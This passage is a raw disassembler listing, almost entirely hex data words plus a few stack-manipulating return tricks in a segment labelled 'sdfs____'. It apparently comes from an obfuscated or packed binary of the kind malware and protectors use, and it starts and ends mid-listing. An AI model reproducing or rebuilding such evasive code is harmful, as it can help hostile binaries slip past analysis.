dup(585A310Fh), 0BE66905Eh dd 0E6E9B84Bh, 6A000003h, 3E85000h, 20000000h ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- loc_5C687A: ; CODE XREF: sdfs____:005C6806j pop eax mov [esp+4], eax add dword ptr [esp+4], 1Bh inc eax push eax retn ; --------------------------------------------------------------------------- dw 0FE17h dd 0A9AA98E5h, 0B0A6DDh, 398D8960h, 8907E90Ah, 0E90B01BDh dd 70E66107h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 9BC35141h, 520F5861h, 8E9h, 0A0D61800h, 30D11746h dd 71E45FDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0C8C35747h, 0E2C35B52h, 8B07A4BCh, 0E92A71BDh dd 0D8B60F07h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0F7C35747h, 0D2EE24AEh, 38F0FFFh, 66000000h, 6BAFB8Bh dd 66000000h, 0C38BF38Bh, 0EE9h, 87E86A00h, 0DC8D5C46h dd 3AA4112Ch, 0C19CCBC8h, 0AE904E8h, 66000000h, 0B5C0CFBEh dd 0E58B66B8h, 0E2F76683h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 83C35040h, 0C2EF7C03h, 894F3C7Ch, 0E93089B5h dd 89958907h, 2B07E911h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0F2573961h, 9374BA82h dd 0F78B6651h, 11E9505Fh, 96000000h, 0A5AD6054h, 0D84E62Dh dd 816DFF43h, 714218AFh, 53006A93h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 14CAC07Eh, 0BEB81DCDh dd 0D5BD8B29h, 0FF07E90Fh, 0E92AD1B5h, 35852907h, 8107E931h dd 0A22079E6h, 3195FF0Ah, 0E907E90Ch, 0Ah, 0D4FABA70h dd 0A7831DE6h, 0B0B3CFh, 10B4BF66h, 6A70E6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 763E3CC3h dd 0FA21D4DBh, 0E78166E9h, 71E4FA70h, 0B818D89h, 613C07E9h dd 1F7830Fh, 0CE90000h, 35000000h, 4E80B363h, 1738DEF4h dd 0F708943h, 850FD8B6h, 6, 1F19B529h, 6BA07E9h, 0F000000h dd 78Ah, 0EEBA6000h, 6129ECCAh, 6AC38Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6C27F1C3h dd 0F04E8C1h, 68Ch, 41BD8B00h, 6607E90Ah, 11E9E2F7h, 5D000000h dd 0DEF3D29Ah, 6FAE907Dh, 0C0B55857h, 149D269Bh, 0CE9D82Bh dd 0BE000000h, 77EFD7BEh, 0E6A43D4Dh, 58A5DBADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 42C35141h, 0F1DDC296h dd 0FD82B72h, 14088h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0FEE0B30h, 0B9F9B70Fh dd 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah dd 4EC35646h, 1AC1E610h, 8166BAFFh, 834DDCF7h, 6A00C1h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8B67C3h, 7E91ECDh, 9E9h, 0EDF91D00h, 0FA95B9BCh dd 0D93B3605h, 0B7860Fh, 0B5890000h, 7E91619h, 0FD98C66h dd 38Ah, 0F08B6600h, 0F04C1F6h, 9784h, 41BD8B00h, 6607E909h dd 0FF87E4BEh, 0E9005995h, 6A5B07h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E61C59C3h dd 9EFE955h, 0BD8B512Ah, 7E916A9h, 3DF5C32Bh, 834h, 4E860Fh dd 8B660000h, 0EE8F7h, 9EF0000h, 5623512Ah, 9C62E0BAh dd 0A20BA410h, 1CDDB58Bh, 0E95F07E9h, 31h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1AC35545h, 8B608440h dd 0E919DDB5h, 0E18D0907h, 6107E90Bh, 0BF0FC08Bh, 8BC38BF8h dd 6E8D8h, 0E53F0000h, 7403BB0Fh, 68B0Fh, 0BD8B0000h, 7E90A91h dd 0E185C75Fh, 3F07E92Fh, 811D390Bh, 25E02DEFh, 23C08B65h dd 0E90C91B5h, 0D1BD8107h, 0D007E92Ah, 0F000007h, 3C85h dd 8A0F00h, 8B000000h, 0E90BE9BDh, 0D185FF07h, 6A07E92Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 1491C352h, 8E48B0A2h, 8B577C0Bh, 0E92DCDBDh dd 0D1B5FF07h, 0E807E92Ah, 0Bh, 10B81F42h, 7CC1F0A0h, 0F561425h dd 68Bh, 0A9B58B00h, 5E07E902h, 0C3195FFh, 6A07E9h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0FA62DEC3h, 1E0DB589h, 90F907E9h, 6AF8F8h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 86C39FC3h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 72C35646h dd 0A6BE5F57h, 297F9103h, 0E909E995h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0E28507CBh, 8660A79Eh, 0BD33F07Eh, 7E908D5h, 0F59227BEh dd 55006A33h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0E66D5BAh, 3535BD23h, 14E907E9h, 6E000000h dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh, 89E123EAh dd 0E90C419Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 3CA38994h, 21853124h dd 6A07E924h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 6772C357h, 0F5B2883Ch, 8589CB1Ah dd 7E93509h, 3591B58Bh, 0BD8B07E9h, 7E91585h, 0FFF830E9h dd 9E9FFh, 83460000h, 21F04046h, 0E948013Eh, 1Dh, 73A86FDAh dd 6 dup(0) dd 520E900h, 65F60000h, 1A3E9A1Bh, 0CD63CD60h, 7E9602B3h dd 32C771FCh, 0F435AB4Ah, 6A0B7184h, 0D855D7CEh, 0CA1DB7Ch dd 45E88AA0h, 8B0B8620h, 85286F95h, 0A04A1177h, 0AF420ED6h dd 2FC620CDh, 8FA6FA9Fh, 0F983953Dh, 21099F25h, 0C91567F5h dd 310D6F8Dh, 3B0B7185h, 23D37A9Eh, 7ACB758Ah, 1EDA7CC8h dd 4FE690BAh, 83324AEDh, 0A248FE11h, 0E4E242D0h, 4BA7D578h dd 24B6366Fh, 2E97178Ah, 2B79305Ch, 587C93CFh, 9FE077B1h dd 0E11EDCF7h, 12A33140h, 50EA94A6h, 0CA1A60F4h, 453C70B8h dd 305C2A6Ah, 0B18DEF00h, 0BB8BF105h, 0D723CACEh, 0DB1BC256h dd 98FD9B42h, 0AC84379Ah, 3190A51Fh, 82C184h, 4AE10000h dd 970ED6A0h, 305CC515h, 83631D33h, 0B15ADF37h, 491B66A0h dd 72A5790Fh, 0AF48AB52h, 479BB05Fh, 0AC40E57Bh, 74F4CC0Dh dd 9D398431h, 58DC3579h, 8068FE84h, 16Dh, 0A64A7500h, 73AB42D4h dd 0FA2BBA1Fh, 13BFF33Fh, 15A17DFFh, 50ED7FFDh, 5B18EF77h dd 336FCB22h, 19CB7286h, 0DB9DB1F5h, 5BC8E6A6h, 0E6742E30h dd 6B2FC650h, 0C0C0B1BEh, 50305C30h, 2434BB52h, 55C7CA26h dd 8A38B5C7h, 9D5A74Ah, 53E5A94Dh, 45019B29h, 0CD61C9B3h dd 0BD77167Eh, 0E751DC98h, 35912B55h, 0FF855923h, 3DD3FF33h dd 47CBE343h, 0DA7B75A6h, 7EFB8430h, 0CF000000h, 9D5A74Ah dd 47D1AB4Dh, 8E8B89AEh, 5ED4AEDh, 9832ECE9h, 3366E43Ch dd 305CA173h, 0C72B079Dh, 2D4FE226h, 0B745019Bh, 0A0D4D4C5h dd 663C305Ch, 8095078Ah, 74AC28F4h, 92BE2EF6h, 0FDC62EEBh dd 56208430h, 82000000h, 43D5A74Ah, 77F52DA9h, 5CC58202h dd 10269230h, 7E0C966Eh, 0BD527EB2h, 34742DC7h, 0DC305CC5h dd 0C4D3D3C6h, 673D305Ch, 7C900DD1h, 40062BDDh, 0B03DD351h dd 15ED7812h, 727B2043h, 0B75B7FBBh, 2D8879C5h, 0EC305C39h dd 50B06108h, 0AE84316Ch, 1, 0DAA44A34h, 0D2AC4E0Ah, 52FB1D72h dd 77FE8096h, 14A6313Ch, 0B5ADA29Dh, 32129037h, 6B0A7486h dd 0C14353FBh, 0FBAF4D69h, 48942AAAh, 0FD7F963Eh, 0B657A321h dd 2873ADF4h, 886E0F01h, 355B20FDh, 0F83069E2h, 0AA3C3EDCh dd 0D5C54013h, 240CD57Eh, 0A3DD7FD9h, 0D3A94D09h, 0AF3BBA3Ah dd 230F8005h, 4F29C38Fh, 31D824F7h, 811B65F7h, 0E34FCDC5h dd 33C4801Eh, 0B908BC4Eh, 982E7624h, 8917350h, 6EED8C1Ah dd 0F5000001h, 463BDC78h, 47BC11A7h, 0FD41D7A4h, 0DB560BE7h dd 0A420BA4Ch, 35EEF6Dh, 0B01410B3h, 545332FEh, 0C237B570h dd 9AB01CE0h, 70864ED8h, 4FDF220Eh, 230F7187h, 0CB1B65F7h dd 79136D8Fh, 70A874ECh, 4143A321h, 1F330FB4h, 0C0CC9FD3h dd 54DEF19h, 2EC084F0h, 0B737BE4Ch, 0BB77092Fh, 19EAB808h dd 7E368Ch, 788C0000h, 5B455EEDh, 40A803FEh, 0B61498ADh dd 0C669C7A7h, 0B3413BDDh, 0A579FB2Bh, 82FF891Fh, 0B05CA922h dd 0B56CB0F2h, 0B05CA8F5h, 0A155F418h, 0A91A9A17h, 0A8FAB05Ch dd 1398AD40h, 47C5DD79h, 360E8E87h, 0C86244ACh, 0A943433Eh dd 0D7CDB05Ch, 0A94A6A1Bh, 9430305Ch, 9E24F882h, 0D2C2AE52h dd 64F68C50h, 5CA96D2Dh, 6FFDA730h, 0A4FC58C6h, 9D1D9426h dd 77305CA8h, 8ACAC52Dh, 14000000h, 0A537A0B3h, 2DC2720Bh dd 982DAFE6h, 5EFEB314h, 9869C1BBh, 37B52B5Dh, 0DBF74F55h dd 2AE4731h, 0CFB68EE8h, 287329F2h, 0CB1B61F4h, 0CD116B8Fh dd 29BEFEB3h, 4C562873h, 64963759h, 787E1F31h, 71E075EDh dd 66099C20h, 0A7DA6CBBh, 287331E7h, 1BBF7B29h, 0BBEE87F1h dd 7AB828B8h, 116F038Dh, 0F75FE983h, 34D51D9Fh, 2FC820FAh dd 24906C36h, 67986416h, 7AF5B861h, 0B74537DBh, 0F0B26C25h dd 127E27DAh, 45E87EF8h, 0B3EE78FDh, 305CC4F3h, 0F6AB871Dh dd 275AEC7Bh, 37B193EDh, 32722FB9h, 0E2286F95h, 8A1862F6h dd 44D6C2AEh, 7C58A43Ah, 0A7119CDEh, 6A1BEB95h, 7C293B11h dd 0EF19C054h, 1682334Dh, 2EAA7A04h, 77A874F6h, 0DE7CA851h dd 1700A9Ch, 0B42A3B81h, 6B152793h, 24901DD5h, 0AD26416h dd 344E96E0h, 1F0FA0FCh, 73000000h, 7E3341EBh, 0B42A3B3Eh dd 0E63ECCD6h, 57574ADCh, 0B9B42A3Bh, 54BD0FEBh, 9BE50AD2h dd 0A14A6D5Fh, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h dd 45h, 50243C89h, 405E089h, 83000000h, 48704E8h, 0C895C24h dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 68243C89h dd 2Bh, 0BD242C89h, 528323F5h, 0CC7C581h, 0E989B56Ah, 3C8B545Dh dd 4C48124h, 68000000h, 0F95h, 8F240C89h, 34FF0847h, 0C4835F24h dd 2434FF04h, 4C48359h, 0FC45E9E9h, 6DB8FBFFh, 307ED35h dd 35E0FFC5h, 0DA2264A8h, 51062B62h, 336981D6h, 583028BFh dd 0A15E75AAh, 607977E0h, 301D531Ch, 0B47C0969h, 7160D07Dh dd 0D96425A4h, 5130F35h, 53402021h, 79655A7Bh, 0DA38C32Bh dd 4D434EDEh, 0E24602CAh, 567145E2h, 3B75F3C9h, 0B732340h dd 8B6CD601h, 86495F1h, 683216F2h, 6216CE39h, 9475AE13h dd 376C058Bh, 0F37F2442h, 2D64BC8Dh, 54651D1Fh, 0F10390F4h dd 2B587844h, 8B5EEA47h, 10E9C1h, 0E67B0000h, 9C41238Ah dd 0B32535B9h, 7C74E5A2h, 4EB3AEEh, 1, 6AFA8B66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 6545C350h, 0C9D8A2ECh, 8589F427h, 7E92A5Dh, 8DFE8B66h dd 0E9086185h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 64CDE575h, 900E6A1Fh dd 80DB36BEh, 6A90503Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 5F85C351h, 8B268E3Dh dd 0E908D1BDh, 97BE6607h, 0BE982h, 0C6FE0000h, 0DCD3B304h dd 5E258EBAh, 6A006A29h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0D236C350h, 134FA557h dd 160A6F2h, 0E902C59Dh, 0A992BE07h, 6A611A3Ah, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 7180FCEDh, 0C69C38CDh, 858DBE1Ah, 7ED387Fh, 2FA19589h dd 0C08307E9h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 24EE5ED0h, 5095842Eh dd 880F5250h, 0 dd 8B60310Fh, 6128B1F8h, 489585Ah, 10E924h, 8D80000h, 0D579240Fh dd 402EA8A3h, 77B9BE48h, 6A58E7h, 229DB50Bh, 6A07E9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 84C35343h, 0BFF5E6BCh dd 609DF47Ah, 0FB995FFh, 5E807E9h, 6D000000h, 30F84E3Ch dd 0CEBABF66h, 2C9D8D5Fh, 6A07ECD7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 533AC350h dd 11992CA4h, 3291106Fh, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 63C181C3h, 512019DFh dd 0BE91A5D9h, 1FA412DBh, 0F9D85FFh, 0BE807E9h, 0C000000h dd 0D0A030ACh, 1E42FF32h, 0F28B8371h, 819E95Eh, 0E80000h dd 5D000000h, 3889ED81h, 666007EDh, 0B55FF0B8h, 0BD816155h dd 7E92AD1h, 7D0h, 163860Fh, 9D010000h, 7E90005h, 0C8D9D8Bh dd 665107E9h, 5F48C7BEh, 100E381h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 79A75DC3h dd 0F1BD8906h, 0B07E900h, 0B1850FDBh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0C8ABC351h, 18F9AE72h, 7ABD835Ch, 7ED36h, 4C840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0B5C0CFC3h, 12359D89h, 8DE907E9h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D44BC355h, 56699C11h, 85C7DCB0h, 7ED367Ah, 1, 6F5BD8Bh dd 55E907E9h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0BE60C356h, 68308D32h dd 367A85C7h, 7EDh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 96F7BBC3h, 7C550BADh dd 0BE4DEEF9h, 4DDB93EEh, 0C8D9D8Dh, 238107E9h, 0FFFFFEFFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h dd 8896A85Bh, 8E9h, 0DAA76800h, 2A86042Bh, 0DB8C66B8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9FC35141h dd 0F5BD2BCCh, 0F607E919h, 840F04C3h, 7Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A7C35242h, 9FAD22A8h dd 9B0CE30Ah, 1EA9B523h, 95FF07E9h, 7E90059h, 0DE860h dd 475A0000h, 2026003h, 0BF0FA95Ch, 0E8017321h, 0Eh, 0CCBD3324h dd 759B85E6h, 8092A6B8h, 5A5B8F37h, 0E99061F8h, 0Dh, 0DA368798h dd 0C9E3DD14h, 0BFEC30C8h, 0E99050A4h, 0Ah, 81F75CF0h dd 3F7DA711h, 0B0E9DBB1h, 0B0000003h, 70E6FC00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4BC35747h, 71E406EDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8DC35040h dd 0F676E3D4h, 551B58Bh, 0B60F07E9h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0F62DF557h dd 0E061939Eh, 0D88B6083h, 6BA61F9h, 0BF000000h, 631B5B57h dd 0B529C38Bh, 7E92A79h, 6A04E8C1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A65DC350h dd 8A1B826Dh, 0F766FC46h, 11E9E2h, 0EB890000h, 4D877578h dd 6C7A8B4Dh, 9B350F7Fh, 2B04CD05h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 2C4DD4D7h dd 93F6B70Fh, 0E7B9CFBFh, 6E95074h, 35000000h, 0E1E08F6Dh dd 6A9381h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0A689D1C3h, 2557F781h, 0F18B7883h, 2AD1B5FFh dd 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD8B25C3h, 7E9081Dh, 0C3195FFh, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 84FE54C3h, 0E4793565h, 60C78166h, 0B0FE8B54h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0C72C8AD9h, 25BD8BE3h, 0E607E916h, 53006A70h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 78B68491h, 0BEA40A16h, 2C13D8B3h, 850F71E4h, 6, 151D9509h dd 613C07E9h, 1CD830Fh, 0BD290000h, 7E90FE5h, 81D8B60Fh dd 679C85EEh, 6BA69h, 0B58B0000h, 7E90AC9h, 6AC38Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 4BAB2C3h, 146BE337h, 0C17DAFCCh, 6E804E8h, 5A000000h dd 9C1D8946h, 0EBC781B5h, 5F1EFF5Dh, 1871BD89h, 0F76607E9h dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 5E70F916h, 8B66C18Eh, 28C0FF1h, 8B000000h dd 0E8D82BF7h, 6, 12396217h, 830F28DAh, 2, 585FF08Bh, 13BD9589h dd 0D82B07E9h, 11D880Fh, 81660000h, 0B968F8D6h, 7, 0FFD4BE66h dd 1AAD9D89h, 0C18307E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0D93B9A8Eh dd 0E1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 66034EC3h, 6AD98Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F6C953C3h dd 840F04C1h, 93h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0A6C35646h, 0A2A99914h, 0BF665873h, 95FFA428h dd 7E90059h, 1BE429BEh, 6A5B5Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 8686B8C3h, 9B54FFB4h dd 0FBB70F5Ah, 0B529C32Bh, 7E92D4Dh, 8343Dh, 28860F00h dd 0F000000h, 28E9FEB7h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 63DEC353h dd 8BFC5452h, 9DBD8BC0h, 8B07E925h, 6AD88BC3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 313AC350h, 0E906FDB5h, 0E9BE6607h, 1185C7FCh, 0B307E919h dd 0F853D1D5h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 8BE543C3h, 527EAC52h, 815FF08Bh dd 0E92AD1BDh, 7D007h, 2B850F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0ECCC351h, 85FF1371h, 7E92AD1h, 0C35BD89h, 0B5FF07E9h dd 7E92AD1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 68C35040h, 0C8314C0h, 2A19393Bh, 171D8589h, 95FF07E9h dd 7E90C31h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0C5C35141h, 0BEFB35EFh, 3C43DC0Ah, 0E890F944h dd 0Fh, 873B824Dh, 41C50563h, 20918EAEh, 9AA1459h, 0E9020595h dd 6A5F07h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 31E40EC3h, 0E91C15BDh, 0D9EF8107h, 8B79B1C6h dd 0E90ABDB5h dd 8B535707h, 0E91275BDh, 81665F07h, 5E5BBCEFh, 0AB99529h dd 0B70F07E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0C68768D3h, 53601103h dd 1AC18523h, 895B07E9h, 0E9264DB5h, 6E86107h, 4D000000h dd 0D0E18167h, 7D9D898Dh, 5F07E925h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0E5C35545h, 0F05F6275h, 91F37BF6h dd 1E5BBED3h, 840F63D9h, 6, 10818D29h, 0BD2907E9h, 7E90975h dd 269D9529h, 6AF907E9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 9278C351h, 9973B932h dd 0F814E9CEh, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 6E930C3h, 62000000h, 7D782333h dd 890F1Ah, 8B000000h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0E10DE2BAh, 20BE6664h dd 0B86660B1h, 5E82C3Fh, 11000000h, 577A7C80h, 14DF8166h dd 0EB615FD5h, 4, 0CD8D8900h, 8907E913h, 0E92F89BDh, 858DF907h dd 7E90861h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 19C35141h, 335B58Bh, 8B9007E9h, 669050F1h, 1214C781h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0BD2ACDC3h, 663B4D7Dh, 6AFE8Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 81C35343h, 6B32A409h dd 48674E85h, 8DF38B5Fh, 0ED42A285h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 81B48019h dd 8BFA8B66h, 0E91B81BDh, 5C08307h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 9C35343h, 85A48A41h, 0B70F6CE1h dd 0BD8B60F1h, 7E91FA1h, 61C0BF0Fh, 3185BD89h, 0E89007E9h dd 12h, 0C2AF0B4Fh, 0FA7384BCh, 84D51073h, 12D58E2Ah, 0FA8B8C3Eh dd 5057505Fh, 850F52h, 0F000000h, 5A5F5731h, 0E9905F58h dd 0Fh, 989FCBB9h, 3BF84F84h, 0D7593545h, 6A902F20h, 3830F00h dd 0F000000h, 6AFAB7h, 7E9h, 10097500h, 0C5C671EBh, 0FB995FFh dd 9D8D07E9h, 7ECD72Ch, 0BE8h, 0B4B07E00h, 8FEE8BF1h, 0EC5FEE5Bh dd 2FE5BD8Bh, 0FF5F07E9h, 50006AD3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 1AE0029Eh dd 850Fh, 85FF0000h, 7E90F9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 50C35343h, 0A13CCE0Bh, 859AEE1Ch dd 7D6E9h, 0E800h, 815D0000h, 0ED42ACEDh, 619D8907h, 8107E916h dd 0E92AD1BDh, 7D007h, 0C860F00h, 0E8000001h, 0Ch, 37E01506h dd 0A1F6E66Fh, 2A91B856h, 2CD1BD8Bh, 8B5F07E9h, 0E920199Dh dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0FEB70F60h, 100E381h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F4CBE0C3h dd 0BA1B185h, 7D850FDBh, 8B000000h, 0E93209BDh, 0DBBD8307h dd 7ED40h, 17840Fh, 6FE90000h, 8B000000h, 2B6052FBh, 0E912E185h dd 2D950107h, 6107E919h, 0DB85C75Eh, 107ED40h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 9FD5C357h, 0F3478A22h, 2BE90CBDh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0BF02C357h, 1C43BFEBh, 40DB85C7h, 7EDh, 9D8D0000h dd 7E92019h, 6E9h, 3B071100h, 81BAEAAAh, 0FFFEFF23h, 66F78BFFh dd 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 66A97EC3h, 0C3F6F98Bh, 3E840F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0CCD6C351h, 0FFA553F1h, 0E9005995h, 91B58B07h dd 5007E935h, 0B5525060h, 8B310F60h, 61585AF1h, 8B240489h dd 407E9F1h, 0BD8B0000h, 7E92195h, 6A00B0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 173FF3C3h dd 5284F300h, 30698D89h, 0BF5F07E9h, 5BDFD6B6h, 84C68166h dd 6A70E6BBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 4CC9C356h, 0A36CDE00h, 2B71E4F8h dd 0E917D5B5h, 0D8B60F07h, 1D29B50Bh, 6BA07E9h, 2B000000h dd 0E9013DBDh, 66C38B07h, 1842EE81h, 8104E8C1h, 393A46C7h dd 0E2F76640h, 243DBD8Bh, 0B58907E9h, 7E90B15h, 0F781D82Bh dd 6A905654h, 0F88B6693h, 66525050h, 310FF38Bh, 585A5E53h dd 50006A93h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0D1B5FF5Ch, 6A07E92Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A0EBC353h dd 42EA405h, 0D4BF32DBh, 0FF1D3070h, 0E90C3195h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9D01D734h, 7E91199h, 0EE800B0h, 0E1000000h, 0EE0A0038h dd 39253B18h, 0DCB42D53h, 718D2945h, 5F07E905h, 6A70E6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0F6BFAEC3h, 71EF8166h, 2840F6Ah, 8B000000h, 6A71E4F0h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 8F63C355h, 1FADB58Bh, 0BD8B07E9h, 7E90C79h dd 830F613Ch, 265h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 82C35747h, 68B0F77h, 89000000h, 0E90711BDh dd 0C1BD8B07h, 0F07E921h, 0B589D8B6h, 7E93501h, 6BAh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8BB2A570h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0F6816687h, 0E8C1FE82h, 59BD8B04h dd 6607E91Dh, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0BB0EB6C3h, 0CCA31930h, 0F78B7C8Ch dd 9359509h, 0D82B07E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0EBC35242h, 6A585F57h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2BFEC355h dd 6A880FD8h, 53000001h, 0BE8h, 0BCDC200h, 0B4234F35h dd 7DFCF83Ah, 225167BFh, 0B95F5F33h, 7, 0E853006Ah, 3 dd 